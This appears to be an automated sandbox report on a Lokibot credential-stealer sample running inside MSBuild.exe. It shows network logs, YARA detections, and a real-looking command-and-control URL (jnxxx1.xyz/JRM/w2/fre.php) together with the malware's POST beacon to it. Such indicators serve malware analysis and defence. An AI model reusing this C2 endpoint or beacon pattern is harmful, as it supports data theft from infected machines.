Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:39 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jORwfqXwFNxbmuKpe1R4pl8NbU7SCIWP814sCA3hPWQtfh97B%2BsfQvWZoVwl2lWmOTLBHSHR2W%2FxyqfUg6QTVB%2FEctzuq0xtpO%2FDcypOAtH%2Fbj7wZ%2Bz1HHS9Q1zq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7327ddf314eaa-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:40 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uD%2BD4Yze0VxTUApbR%2FxDZT2TQa5Vv4HyOq%2F0Rt4v0bpp8b21wzq782ujo1YzcVWKBDUpsBDq%2FJP9L3ByJREkkxSg3Xc49BlegLmVh5zlLqqKHYK76WyeRPG0Rk8Z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732873cb88ba5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:42 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VDQouFNatucu1zUc25JJAPkbJ1N6rDWgE2bT6YjVtA0fbz8H29yPkNa3sxMkWo7ZsIG7G0NEekBE8pFECxDsiLpfOH62wqFkPeiowfve6Bz20mG7cVtwyx%2Bd8wT3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732929d346b3c-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:44 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L5mYlgtg3aQGX8qOqrc0LG96iYrZrjxPE93XWHiRGb2UO8OPopN4lmqKPrppc4VVrG05n0SPP5uN%2FWjhWPcfP%2FKo9wNQv0uUo4Peo74KPoQcIBKTXGkgHQY0yyli"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7329f18bf690a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:46 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dwmEdRgcgf0kvMZr2Lz2qxaww4m7Bp1zNcvjkZPkae7eYPGOGJxOL0H57k4VVIcB15BMq8FyBeMDB65ABBamOyFxw%2Bd4IxorIxQDJ0%2F9FWkOm53tftDmS0DhJQsu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732a97fe88beb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:47 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZPNXWJmybJVMKYjkYgMAxW3c9LSQ8wQMUCSc19bMi6DnrXNKlwA1s7u%2FYNvo0V75U%2FwRMZHTKFmwun0xDtghg2%2B1wA4G4hXLZ%2Bb63CM27PW7sOQHFrz3dnno0gYF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732b2de377174-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:49 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xoFPXs5ALdR5jISBg1Ki%2FNXGFl5I7RRePzEtwTG4bbdLmX0iHthiTGIy8wLJKk8rkq4%2FgYJS6HPoUEGyBHubNGNKOfBFZ6TA17%2FlurY7oocN1jNF226ItMo3Mkhn"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732bc29a56931-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:50 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tRFYLDQVTkNoruezpRqwrYCrjMFPn0m697vbSgmdJPWynf6cXuF%2FviNjUAT8Hw0xv7diJXMOGqcLHKg%2FNSdva4tbLI6iK26N43D5XYc7z7WraDr7gshT7%2BMKdtG%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732c58ea97a48-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:52 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MUnDKqmoP7BU4JPHDXvMuugC6IO3ewywew4l6Prxk9X7OEiPHWvkcLNcyPLiMP8v7sNsRcXbrfN0vEKUoXGUN9aiORNxADYIhvWD6R4flqV885skSjlfOUIbBUM7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732cfae5d716f-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:55 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hzicuxcnLS%2BMSkxKEskQQ5ceYQwxf%2FKC9qRPX8yZUNsQh9J0T4gIIyd97oKhSjkzyTMKl2YXdbi5v0lrZ7b18fMHewRGbVJ0Wjb5lDvO5ayjdQGvf7%2FpRVsVwhS9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732e30efa7172-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:57 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XNcySB%2BbH3AlRFOnjj9W1p%2BcWCYvOmEOPZE91yl%2BQs4vEIARciS4OzS%2BKPIxDXjyy8%2FWE7gszATruy9u%2FyoVu1PB1yYackPwk8DIjyvtqKhGhmkhqmg9mUxBbgZh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732ecbda2ede7-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:58 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WM4ASNvB4Ln0mNPyiiswINBAUmCLMcLm7roMUI%2BcIujOneXrI%2FKRd43s93wQ8c%2FwVzciUxQtYBhz1jRJQY%2BVhPWwcjW800JR784SfxAs3n%2FE2DGjUn3cVcEme%2BHb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732f61b2b7162-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:01 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=g%2FS2%2FuaMIIInUhKJ%2FYgHpAz6SEX4fj37USrarJYEybNdUCyRtnUeb6TQ09Bz4zHLa5%2FAB4CIvYVxMzS5cqOZoPSkmNC%2BVKvjHxFhinfRM%2B7EsXuJJa2TMFf3MGtz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd733098af14e1a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:03 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zj5vKlV7qYaOg04ZKRfbma5DOQVCwdGd3IYqY12U9yAaHhQwg%2FlnW2MIKnT%2FdGHkKU2kiAzE%2BGQKDKmgfZE5LK7WyX1jnX6iDe7JVPTew4gBvZNgP42ICMRdAv8w"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73315c8c0c4a4-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:05 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6x%2BsZ007hK5hXMzMkvOiFpCThqx6wq4gq06N1P7L%2BQIcdoieDzOMZjwoob4qVVsan3LoPovO6PokmNui%2FkXbLMf5dphqX6N7W%2FYnA5likl%2BQANj%2Fq%2FECIJTUQq7M"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd733225c0b5b98-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:08 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K4YnnLQtqyJuefNYYKikgzJrngap6sTAVTPPvew1P%2F7Oa%2Bf6vZF%2BW%2FV08Oo8cjXWmDEFIOnUO2lRRyCE%2FL4ECn2ClYktiFCuu7PnRzjrzvX46B0krV30HPYF7Xdt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73334ad414a73-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:10 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z6s77jzji2vfKUYleFFTMqFAUQZaKVh7kFWBEXUKoNj9Y6WH%2Fa5s5xL%2Bp5gUW7GoCLj28Ivg7OYZPP%2FVub3llgRwmwyFPtrnaiLVUSmfFMt47erpCDstVXJr7ifb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7333f3fd25c74-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:11 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N1%2BDMtyMNg2FgxsUNKVqRu0%2BBqCdVjMXRahhw7AAfGBzwp76HOkFt68cc7qsVxNZul6jdbraWpy0GeEjheLCMjrZVh5xt9SYpgkrH%2BtVw019nUJ4OXA9rWCB4HOo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd733497d378bd5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:13 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ErifryXAmgjblGKi53wYAZQGp5R0%2FcoEwdCAEmo%2B3PEt8ccX1SQwBVBDrhf3JXDokdIeALxvnXr9LY9Y%2B%2BdMazki75oG5oEAuTg9frnxiTK9PR5x3rp2NCmCFSel"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd733527cc439e1-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:14 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EXDyk6top6qwvTX4C%2BdfwAf8npHR6pwJr%2B0jFvkC9D2m%2FymaoLo63V59bdofbjosNWHEL118cPpmwm10onxw0NtO8vvtUPpdJSxtUCkRu0pgSyTCmbpvEPGUMfkc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7335b3af63b4f-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:16 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AlYDfsN5GbpkMBD6h7eHRDqKqcOppS2kibcwZqb8eUC4CHNpLCvKM2GC379K5up1i8eTxZKvZB1ya%2B3ZUAnQEdmJEWsjJFoZZJWNtZSVT%2FgyS558TJdheyVjERsc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7336448f48741-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:17 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PMcBahuKByTbFosahzRIKypVcDYCLDFflrd1nc56iJvyDP%2Bh45WlKRRvvhMXjJh88q4YEHytsOIDoJi3TTV5f1VcbhoAXrQ2PqU%2BzYC9KTSSSp7XyiTuJZcFrnIz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7336d1a925c80-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:27:18 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BgDckXZkiAvUVc%2BKzyt786ncrFUI%2B0WkMGYATSCVOlSWpwMf4HbqhvSUOnvBxN2h6OKRG2Xr0rlUZTCPS16lMYSOpIyP29QS5FsrDWfOFvEA1ONpOtQWgmdsJ30%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7337598bd699b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 178.79.242.0
Source: unknown	TCP traffic detected without corresponding DNS query: 178.79.242.0
Source: unknown	TCP traffic detected without corresponding DNS query: 41.63.96.0
Source: unknown	TCP traffic detected without corresponding DNS query: 41.63.96.0
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.5.146
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29

Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, MSBuild.exe, 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: MSBuild.exe, 00000001.00000003.912712632.0000000000C71000.00000004.00000001.sdmp, MSBuild.exe, 00000001.00000002.931524963.00000000004A0000.00000040.00000001.sdmp	String found in binary or memory: https://jnxxx1.xyz/JRM/w2/fre.php

Source: unknown

HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 190Connection: close

Source: unknown

DNS traffic detected: queries for: jnxxx1.xyz

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00404ED4 recv,

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
